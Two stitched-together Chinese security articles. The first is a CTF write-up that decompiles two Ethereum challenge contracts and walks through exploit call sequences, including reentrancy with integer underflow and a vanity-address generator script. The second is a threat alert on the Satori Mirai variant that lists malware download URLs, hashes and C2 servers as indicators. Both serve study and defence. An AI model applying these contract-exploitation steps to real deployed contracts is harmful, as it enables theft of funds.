PS : 解决了，找到了pikachu大佬的博客下有这样一篇博文，
<https://hitcxy.com/2020/generate-address/>
from ethereum import utils
import os, sys
# generate EOA with appendix 1b1b
def generate_eoa1():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not addr.lower().endswith("1b1b"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("1b1b"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
if __name__ == "__main__":
if sys.argv[1] == "1":
generate_eoa1()
elif sys.argv[1] == "2":
generate_eoa2()
else:
print("Please enter valid argument")
* `generate_eoa1` 可以直接生成低四位为 `1b1b` 的外部账户
* `generate_eoa2` 可以生成一个外部账户，该外部账户部署的第一个智能合约的地址低四位为 `1b1b`
* * *
### 数字经济CTF-RISE区块链题目详解
这是数字经济第二题，两题都是pikachu师傅出的，主要还是考察逆向出整个合约的逻辑。话不多说还是进行合约逆向。
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x0dc8cca1) {
// Dispatch table entry for 0x0dc8cca1 (unknown)
var var1 = 0x00bc;
var var2 = msg.data[0x04:0x24];
func_0293(var2);
stop();
} else if (var0 == 0x132429ba) {
// Dispatch table entry for 0x132429ba (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00ff;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
func_03B2(var2);
stop();
} else if (var0 == 0x3884d635) {
// Dispatch table entry for airdrop()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x0116;
airdrop();
stop();
} else if (var0 == 0x6bc344bc) {
// Dispatch table entry for payforflag(string)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x017f;
var temp0 = msg.data[0x04:0x24] + 0x04;
var temp1 = msg.data[temp0:temp0 + 0x20];
var temp2 = memory[0x40:0x60];
memory[0x40:0x60] = temp2 + (temp1 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp2:temp2 + 0x20] = temp1;
memory[temp2 + 0x20:temp2 + 0x20 + temp1] = msg.data[temp0 + 0x20:temp0 + 0x20 + temp1];
var2 = temp2;
payforflag(var2);
stop();
} else if (var0 == 0x8e2a219e) {
// Dispatch table entry for 0x8e2a219e (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01ac;
var2 = msg.data[0x04:0x24];
func_0860(var2);
stop();
} else if (var0 == 0x9ec1ebb8) {
// Dispatch table entry for 0x9ec1ebb8 (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01d9;
var2 = msg.data[0x04:0x24];
func_08C6(var2);
stop();
} else if (var0 == 0xcbfc4bce) {
// Dispatch table entry for gift(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x021c;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = gift(var2);
var temp3 = memory[0x40:0x60];
memory[temp3:temp3 + 0x20] = var2;
var temp4 = memory[0x40:0x60];
return memory[temp4:temp4 + (temp3 + 0x20) - temp4];
} else if (var0 == 0xd0e30db0) {
// Dispatch table entry for deposit()
var1 = 0x023a;
deposit();
stop();
} else if (var0 == 0xe3d670d7) {
// Dispatch table entry for balance(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x027d;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = balance(var2);
var temp5 = memory[0x40:0x60];
memory[temp5:temp5 + 0x20] = var2;
var temp6 = memory[0x40:0x60];
return memory[temp6:temp6 + (temp5 + 0x20) - temp6];
} else { revert(memory[0x00:0x00]); }
}
function func_0293(var arg0) {
var var0 = 0x00;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
if (storage[keccak256(memory[0x00:0x40])] <= var0) { revert(memory[0x00:0x00]); }
//如果没钱就滚了。 // storage[3]
var var1 = 0x0de0b6b3a7640000;
var var2 = msg.value;
if (!var1) { assert(); }
var0 = var2 / var1;
if (arg0 != storage[0x01]) { //arg0 不是 storage[1]
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00; // //storage[sanlie(msg.sender)]=0
storage[0x02] = 0x01;// storage[2]=1 ether
return;
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp0 = keccak256(memory[0x00:0x40]); // storage[sanlie(msg.sender)]
storage[temp0] = storage[temp0] + var0 * storage[0x02];//storage[sanlie(msg.sender)]=storage[sanlie(msg.sender)]+var0(传入以太币)*storage[2]
storage[0x02] = 0x01;// storage[2]=1 ether
return;
}
}
function func_03B2(var arg0) {
var var0 = 0x00;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
if (storage[keccak256(memory[0x00:0x40])] <= var0)//<0
//storage[3]<=0
{ revert(memory[0x00:0x00]); }
//storage[sanlie(msg.sender)]<=0 返回
if (arg0 == 0x00) {
var temp0 = var0;
var temp1 = temp0;//var0
storage[temp1] = msg.sender | (storage[temp1] & ~0xffffffffffffffffffffffffffffffffffffffff);
// storage[0]=msg.sender
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[temp0 + 0x01] = storage[keccak256(memory[0x00:0x40])];
//storage[1]=storage[3]
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00;
//storage[3]=0
return;
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp2 = storage[keccak256(memory[0x00:0x40])];
//temp2 = storage[3]
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = temp2;
//storage[arg0]=storage[3];
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00;
//storage[3]=0
return;
}
}
function airdrop() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
if (storage[keccak256(memory[0x00:0x40])] != 0x00) { revert(memory[0x00:0x00]); } //不是0不给空投
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
//其实storage[4]一直没操作过。但是得调用 这个1000000次确实卡比。
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01; //给 1 ether 空投。
//storage[3]+=1
}
function payforflag(var arg0) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
if (storage[keccak256(memory[0x00:0x40])] <= 0x0f4240) { revert(memory[0x00:0x00]); }
//storage[sasnlie(msg.sender)]> 1000000
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00;
storage[0x02] = 0x01;
var temp0 = address(address(this)).balance;
var temp1 = memory[0x40:0x60];
var temp2;
temp2,
memory[temp1:temp1 + 0x00] = address(storage[0x05] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp0 * 0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
var var0 = !temp2;
if (!var0) {
var0 = 0x7c2413bb49085e565f72ec50a1fb0460b69cf327e0b0d882980385b356239ea5;
var temp3 = arg0;
var var1 = temp3;
var temp4 = memory[0x40:0x60];
var var2 = temp4;
var var3 = var2;
var temp5 = var3 + 0x20;
memory[var3:var3 + 0x20] = temp5 - var3;
memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
var var4 = temp5 + 0x20;
var var6 = memory[var1:var1 + 0x20];
var var5 = var1 + 0x20;
var var7 = var6;
var var8 = var4;
var var9 = var5;
var var10 = 0x00;
if (var10 >= var7) {
label_0823:
var temp6 = var6;
var4 = temp6 + var4;
var5 = temp6 & 0x1f;
if (!var5) {
var temp7 = memory[0x40:0x60];
log(memory[temp7:temp7 + var4 - temp7], [stack[-6]]);
return;
} else {
var temp8 = var5;
var temp9 = var4 - temp8;
memory[temp9:temp9 + 0x20] = ~(0x0100 ** (0x20 - temp8) - 0x01) & memory[temp9:temp9 + 0x20];
var temp10 = memory[0x40:0x60];
log(memory[temp10:temp10 + (temp9 + 0x20) - temp10], [stack[-6]]);
return;
}
} else {
label_0811:
var temp11 = var10;
memory[var8 + temp11:var8 + temp11 + 0x20] = memory[var9 + temp11:var9 + temp11 + 0x20];
var10 = temp11 + 0x20;
if (var10 >= var7) { goto label_0823; }
else { goto label_0811; }
}
} else {
var temp12 = returndata.length;
memory[0x00:0x00 + temp12] = returndata[0x00:0x00 + temp12];
revert(memory[0x00:0x00 + returndata.length]);
}
}
function func_0860(var arg0) {
if (msg.sender != storage[0x05] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
storage[0x01] = arg0;
//storage[5]=msg.sender判断
//storage[1]随便赋值
}
function func_08C6(var arg0) {
if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
storage[0x02] = arg0;
//storage[0]=msg.sender;
//storage[2]随便赋值。
}
function gift(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x04;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
//storage[arg0] 返回对应地址storage[4]
}
function deposit() {
var var0 = 0x00;
var var1 = 0x0de0b6b3a7640000; //1 ether
var var2 = msg.value;
if (!var1) { assert(); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + var2 / var1;
//捐钱
}
function balance(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x03;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
//storage[3]
}
}
已经加过了注释。不过还是整体分析下
先看payforflag
逻辑很简单，就是storage[3]>1000000就可以得到flag了。
就是一个空投，没钱给你一个币。 因为这里的storage[4]他直接被storage[3]覆盖了，其实你要是牛逼你可以调用1000000次。
func_08C6 可以实现storage[0]=msg.sender. 并且让storage[2]随便填。
看这函数名就知道是捐款。 捐多少 storage[3]加多少。
用来拿钱的主要函数了。这里先会判断 storage[3]有没有钱。
传入的arg0是一个值，就是来判断 你是不是storage[1]里存的这个数。
如果是那么就可以执行一个storage[3]的任意赋值了，
storage[3]+=var0*storage[2]；
var0=var2/var1 , var2=msg.value （就是你传了多少钱）
所以只需要让storage[2]大点。
这个需要你 msg.sender=storage[5]
然后storage[1]随便赋值。
另一个十分重要函数，传入arg0若有钱即storage[3]>0 且args=0 那么就storage[0]=msg.sender,
Storage[1]=storage[3],storage[3]=0.
就是换了地址其实。
但是十分有用。
那么到现在整个解题链已经出了。
* deposit() 传入value=1 ether
* func_03B2(0)
* func_08C6(1000000)
* deposit() 传入value=2 ether
* func_0293(1)
* payforflag(b64email)
大概这样不是很直观。用excel画个图
deposit(). 传 1 ether
func_03B2(0)
func_08C6(1000000)
deposit() 传2 ether
func_0293（1）
storage[temp0] = storage[temp0] + var0 * storage[0x02]=storage[3] = storage[3] + 2 * 1000000;
这样就够了直接
payforflag()就结束了。
* * *
### 强网杯区块链题目—Babybank深入分析
还是老操作直接合约逆向贴代码了。
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x2e1a7d4d) {
// Dispatch table entry for withdraw(uint256)
var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
var var2 = msg.data[0x04:0x24];
withdraw(var2);
stop();
} else if (var0 == 0x66d16cc3) {
// Dispatch table entry for profit()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
profit();
stop();
} else if (var0 == 0x8c0320de) {
// Dispatch table entry for payforflag(string,string)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var temp0 = memory[0x40:0x60];
var temp1 = msg.data[0x04:0x24];
var temp2 = msg.data[temp1 + 0x04:temp1 + 0x04 + 0x20];
memory[0x40:0x60] = temp0 + (temp2 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp0:temp0 + 0x20] = temp2;
var1 = 0x00aa;
memory[temp0 + 0x20:temp0 + 0x20 + temp2] = msg.data[temp1 + 0x24:temp1 + 0x24 + temp2];
var temp3 = memory[0x40:0x60];
var temp4 = msg.data[0x24:0x44] + 0x04;
var temp5 = msg.data[temp4:temp4 + 0x20];
memory[0x40:0x60] = temp3 + (temp5 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp3:temp3 + 0x20] = temp5;
var2 = temp0;
memory[temp3 + 0x20:temp3 + 0x20 + temp5] = msg.data[temp4 + 0x20:temp4 + 0x20 + temp5];
var var3 = temp3;
payforflag(var2, var3);
stop();
} else if (var0 == 0x8e2a219e) {
// Dispatch table entry for 0x8e2a219e (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
var2 = msg.data[0x04:0x24];
func_045C(var2);
stop();
} else if (var0 == 0x9189fec1) {
// Dispatch table entry for guess(uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
var2 = msg.data[0x04:0x24];
guess(var2);
stop();
} else if (var0 == 0xa9059cbb) {
// Dispatch table entry for transfer(address,uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var3 = msg.data[0x24:0x44];
transfer(var2, var3);
stop();
} else if (var0 == 0xd41b6db6) {
// Dispatch table entry for level(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01e7;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = level(var2);
label_01E7:
var temp6 = memory[0x40:0x60];
memory[temp6:temp6 + 0x20] = var2;
var temp7 = memory[0x40:0x60];
return memory[temp7:temp7 + temp6 - temp7 + 0x20];
} else if (var0 == 0xe3d670d7) {
// Dispatch table entry for balance(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01e7;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = balance(var2);
goto label_01E7;
} else { revert(memory[0x00:0x00]); }
}
function withdraw(var arg0) {
if (arg0 != 0x02) { revert(memory[0x00:0x00]); }
// arg0==2
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg0 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
// storage[msg.sender[0]]>=2
var temp0 = memory[0x40:0x60];
var temp1 = arg0;
memory[temp0:temp0 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp1 * 0x5af3107a4000)(memory[temp0:temp0 + 0x00]);
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp2 = keccak256(memory[0x00:0x40]);
storage[temp2] = storage[temp2] - temp1;
// storage[msg.sender[0]]-=arg0
}
function profit() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
//storage[msg.sender[1]]==0
if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
if (msg.sender & 0xffff != 0xb1b1) { revert(memory[0x00:0x00]); }
//msg.sender末尾b1b1
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
//storage[msg.sender[0]]+=1
memory[0x20:0x40] = 0x01;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x01;
//storage[msg.sender[1]]+=1
}
function payforflag(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (0x02540be400 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
//storage[msg.sender[0]]>=10000000000
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
storage[keccak256(memory[0x00:0x40])] = 0x00;
var temp0 = memory[0x40:0x60];
var temp1 = address(address(this)).balance;
var temp2;
temp2, memory[temp0:temp0 + 0x00] = address(storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp0:temp0 + 0x00]);
var var0 = !temp2;
if (!var0) {
var0 = 0x6335b7f9c4dff99c3a870eaf18b802774df3aba4e21b72549f3a03b6bc974c90;
var temp3 = arg0;
var var1 = temp3;
var var2 = arg1;
var temp4 = memory[0x40:0x60];
var var3 = temp4;
var var4 = var3;
var var5 = var4 + 0x20;
var temp5 = var5 + 0x20;
memory[var4:var4 + 0x20] = temp5 - var4;
memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
var var6 = temp5 + 0x20;
var var7 = var1 + 0x20;
var var8 = memory[var1:var1 + 0x20];
var var9 = var8;
var var10 = var6;
var var11 = var7;
var var12 = 0x00;
if (var12 >= var9) {
label_03BC:
var temp6 = var8;
var6 = temp6 + var6;
var7 = temp6 & 0x1f;
if (!var7) {
var temp7 = var6;
memory[var5:var5 + 0x20] = temp7 - var3;
var temp8 = var2;
memory[temp7:temp7 + 0x20] = memory[temp8:temp8 + 0x20];
var6 = temp7 + 0x20;
var8 = memory[temp8:temp8 + 0x20];
var7 = temp8 + 0x20;
var9 = var8;
var10 = var6;
var11 = var7;
var12 = 0x00;
if (var12 >= var9) {
label_041C:
var temp9 = var8;
var6 = temp9 + var6;
var7 = temp9 & 0x1f;
if (!var7) {
var temp10 = memory[0x40:0x60];
log(memory[temp10:temp10 + var6 - temp10], [stack[-8]]);
return;
} else {
var temp11 = var7;
var temp12 = var6 - temp11;
memory[temp12:temp12 + 0x20] = ~(0x0100 ** (0x20 - temp11) - 0x01) & memory[temp12:temp12 + 0x20];
var temp13 = memory[0x40:0x60];
log(memory[temp13:temp13 + (temp12 + 0x20) - temp13], [stack[-8]]);
return;
}
} else {
label_040D:
var temp14 = var12;
memory[temp14 + var10:temp14 + var10 + 0x20] = memory[temp14 + var11:temp14 + var11 + 0x20];
var12 = temp14 + 0x20;
if (var12 >= var9) { goto label_041C; }
else { goto label_040D; }
}
} else {
var temp15 = var7;
var temp16 = var6 - temp15;
memory[temp16:temp16 + 0x20] = ~(0x0100 ** (0x20 - temp15) - 0x01) & memory[temp16:temp16 + 0x20];
var temp17 = temp16 + 0x20;
memory[var5:var5 + 0x20] = temp17 - var3;
var temp18 = var2;
memory[temp17:temp17 + 0x20] = memory[temp18:temp18 + 0x20];
var6 = temp17 + 0x20;
var8 = memory[temp18:temp18 + 0x20];
var7 = temp18 + 0x20;
var9 = var8;
var10 = var6;
var11 = var7;
var12 = 0x00;
if (var12 >= var9) { goto label_041C; }
else { goto label_040D; }
}
} else {
label_03AD:
var temp19 = var12;
memory[temp19 + var10:temp19 + var10 + 0x20] = memory[temp19 + var11:temp19 + var11 + 0x20];
var12 = temp19 + 0x20;
if (var12 >= var9) { goto label_03BC; }
else { goto label_03AD; }
}
} else {
var temp20 = returndata.length;
memory[0x00:0x00 + temp20] = returndata[0x00:0x00 + temp20];
revert(memory[0x00:0x00 + returndata.length]);
}
}
function func_045C(var arg0) {
if (msg.sender != storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
//msg.sender == storage[2] 那么 storage[3]=arg0;
storage[0x03] = arg0;
}
function guess(var arg0) {
if (arg0 != storage[0x03]) { revert(memory[0x00:0x00]); }
//arg0!=storage[3]
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
//storage[msg.sender[1]]==1
if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
// storage[msg.sender[0]]+=1;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
memory[0x20:0x40] = 0x01;
//storage[msg.sender[1]]+=1;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x01;
}
function transfer(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
//storage[msg.sender[0]]>=2
if (arg1 != 0x02) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }
//storage[msg.sender[1]]==2
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
storage[keccak256(memory[0x00:0x40])] = 0x00;
//storage[msg.sender[0]]=0
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
storage[keccak256(memory[0x00:0x40])] = arg1;
//storage[arg0[0]]=arg1;
}
function level(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x01;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
//返回 storage[arg0[1]]
}
function balance(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x00;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
//storage[arg0[0]]
}
}
已经全都加过注释了。今天是纯自己分析一遍得到的，十分有收获。确实去年和今年题目的难度都是两种。。。233333
主要通过3个重要函数进行payforflag()
我们从而得知payforflag()条件就是 storage[msg.sender[0]]>10000000000
利用guess 猜数字，如果和storage[3]相等，且storage[msg.sender[1]]==1 的时候，
storage[msg.sender[0]]+=1,storage[msg.sender[1]]+=1.
profit() , 要求 storage[msg.sender[1]]==0 之后 还要求账户末尾为b1b1
,这个功能之前已经说过了。今天又看到了一个可以生成的在线网站 ，十分牛逼。<https://vanity-eth.tk/>
然后就可以使得storage[msg.sender[0]]+=1, storage[msg.sender[1]]+=1
withdraw () 这里限制了 storage[msg.sender[0]]>=2 然后他进行了 msg.call() 这里可以进行重入。 然后看下面，
storage[msg.sender[0]]-=2 , 那么自然而然想到了payforflag()的条件。 所以我们可以想到使用这里来实现重入下溢，
从而得到payforflag()的条件。
那么就很显然了。
不过这个题在比赛时据说有坑。是因为出题人没有给原合约 币，所以就算你打通了也不会给你发flag, 所以我们需要先
创立个有币的合约来selfdestruct() 给这个合约。然后再用exp合约来攻击
调用顺序就是
profit() – > guess() -> 重入2次的withdraw()
因为2-2=0 , 0-2 = 2**256 -1 -2 溢出。 从而达到了payforflag的效果。 | 社区文章 |
# 安全威胁预警：Mirai变种Satori正在37215和52879端口蠕虫式传播
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
`[更新记录]
- 文中提到的C2地址 95.211.123.69:7654 ，实际是 95.211.123.69:7645 的笔误。`
## 传送门
[安全威胁早期预警：新的mirai僵尸网络变种正在端口23和2323上积极传播](http://blog.netlab.360.com/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/)
## 前言
在我们之前的blog中，我们提及有大约10万个来自阿根廷的独立扫描IP正在扫描端口2323和23，并且确定这是一个新的mirai变种。
**在过去的几天中，扫描行为变得愈发严重，更多的国家出现在我们的ScanMon平台上。仔细分析后我们看到了更多的部分，意识到之前2323/23端口上的扫描还只是巨大拼图的一小部分。**
就在我们继续深入分析的时候，我们的注意到一个新的情况出现，值得引起安全社区立即注意。下面是对这个情况非常简短和粗糙的说明。
大约从今天中午 (2017-12-05 11:57
AM)开始，我们注意到Satori（一个mirai变种）的新版本正在端口37215和52869上非常快速的传播。这个新变种有两个地方与以往mirai有显著不同：
* bot 不再完全依赖以往的 loader/scanner 机制进行恶意代码的远程植入，而是自身有了扫描能力。这是一个类似蠕虫的传播行为，值得引起注意；
* bot 中增加了两个新的漏洞利用，分别工作在端口 37215 和 52869 上。考虑到bot类似蠕虫的行为，我们建议安全工作者关注端口 37215 和 52869 上的扫描行为。（可以参考我们的ScanMon系统，或者 ISC 的端口页面）。
当前活跃的是Satori僵尸网络的最新版本。我们已经跟踪Satori好几个月，有强有力的证据证明当前这次攻击与之前 2323/23
端口之间的扫描攻击流量是有关联的。
发起扫描的IP（也就是僵尸网络的bot，“肉鸡”）的数目在急剧增长，在过去的12个小时里，我们看到 263,250 个不同的IP在扫描端口 37215,
以及 19,403 个IP在扫描端口 52869。
## 恶意代码样本和C2
df9c48e8bc7e7371b4744a2ef8b83ddf hxxp://95.211.123.69/b
a7922bce9bb0cf58f305d17ccbc78d98 hxxp://95.211.123.69/fahwrzadws/okiru.mipsel
37b7c9831334de97c762dff7a1ba7b3f hxxp://95.211.123.69/fahwrzadws/okiru.arm7
e1411cc1726afe6fb8d09099c5fb2fa6 hxxp://95.211.123.69/fahwrzadws/okiru.x86
cd4de0ae80a6f11bca8bec7b590e5832 hxxp://95.211.123.69/fahwrzadws/okiru.x86
7de55e697cd7e136dbb82b0713a01710 hxxp://95.211.123.69/fahwrzadws/okiru.mips
797458f9cee3d50e8f651eabc6ba6031 hxxp://95.211.123.69/fahwrzadws/okiru.m68k
353d36ad621e350f6fce7a48e598662b hxxp://95.211.123.69/fahwrzadws/okiru.arm
8db073743319c8fca5d4596a7a8f9931 hxxp://95.211.123.69/fahwrzadws/okiru.sparc
0a8efeb4cb15c5b599e0d4fb9faba37d hxxp://95.211.123.69/fahwrzadws/okiru.powerpc
08d48000a47af6f173eba6bb16265670 hxxp://95.211.123.69/fahwrzadws/okiru.x86_64
e9038f7f9c957a4e1c6fc8489994add4 hxxp://95.211.123.69/fahwrzadws/okiru.superh
**Satori是一个mirai的变种，同样针对物联网设备，但是也变化了很多** 。
样本 e1411cc1726afe6fb8d09099c5fb2fa6 中包含的C2 有三个：
* 95.211.123.69:7645
* network.bigbotpein.com:23
* control.almashosting.ru
值得注意的是，只有 **95.211.123.69:7645** 这个是真正起作用的C2，另外的两个 network.bigbotpein.com:23 和
control.almashosting.ru 在当前样本中并没有真正被使用，而是 **有可能用来迷惑严肃的安全分析人员** 。
再次值得注意的是，control.almashosting.ru 这个C2 在以往以及正在新收到的其他样本中也被真正使用过。
## 恶意样本的扫描活动
如下图所示，Satori 的bot 现在会随机的扫描端口 37215 和 52869，取决于一个随机数模三得到的余数是否为零。
## 漏洞利用
Satori当前会在扫描过程中使用两个漏洞利用(exploit)，一个在端口 37215 上，另外一个在端口 52869 上。
* 37215 端口上的漏洞利用尚未见到完全公开的细节。我们团队在过去的几天里持续在跟踪这个漏洞利用，也有了较为深入的了解，但是在本blog中也不会详细描述细节；读者可以继续关注我们后续文章；
* 52869 端口上的漏洞利用，源自 [CVE-2014-8361](https://www.exploit-db.com/exploits/37169/).
Satori在传播过程中，不仅会利用上述漏洞利用，而且会迫使受感染设备从原始下载URL处继续下载Satori自身的恶意代码。这样周而复始，使得恶意代码类似`蠕虫式`地传播。
## 与之前端口 23 和 2323 扫描流量攻击的关系
在我们 [早先的blog](http://blog.netlab.360.com/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/)中，我们提及阿根廷来源的扫描流量在23和2323端口上有暴涨。
事实上，在blog发布后的几天里，更多的国家比如埃及、突尼斯、哥伦比亚也发生了类似的攻击。更近一步的跟踪分析发现那次攻击中使用了若干样本和某个特定的漏洞利用。
那次攻击与本次Satori的攻击相比有若干共同点，包括样本的命名和静态特征，部分的C2协议，以及进化中的漏洞利用。因此，我们相信两次攻击是有关联的。
我们还怀疑本次攻击与2017年8月发生在中国的另一次IoT物联网相关的攻击有关系。也许后续我们会发布另外一篇blog详细阐述。
## IoC
### 本轮攻击的样本
df9c48e8bc7e7371b4744a2ef8b83ddf hxxp://95.211.123.69/b
a7922bce9bb0cf58f305d17ccbc78d98 hxxp://95.211.123.69/fahwrzadws/okiru.mipsel
37b7c9831334de97c762dff7a1ba7b3f hxxp://95.211.123.69/fahwrzadws/okiru.arm7
e1411cc1726afe6fb8d09099c5fb2fa6 hxxp://95.211.123.69/fahwrzadws/okiru.x86
cd4de0ae80a6f11bca8bec7b590e5832 hxxp://95.211.123.69/fahwrzadws/okiru.x86
7de55e697cd7e136dbb82b0713a01710 hxxp://95.211.123.69/fahwrzadws/okiru.mips
797458f9cee3d50e8f651eabc6ba6031 hxxp://95.211.123.69/fahwrzadws/okiru.m68k
353d36ad621e350f6fce7a48e598662b hxxp://95.211.123.69/fahwrzadws/okiru.arm
8db073743319c8fca5d4596a7a8f9931 hxxp://95.211.123.69/fahwrzadws/okiru.sparc
0a8efeb4cb15c5b599e0d4fb9faba37d hxxp://95.211.123.69/fahwrzadws/okiru.powerpc
08d48000a47af6f173eba6bb16265670 hxxp://95.211.123.69/fahwrzadws/okiru.x86_64
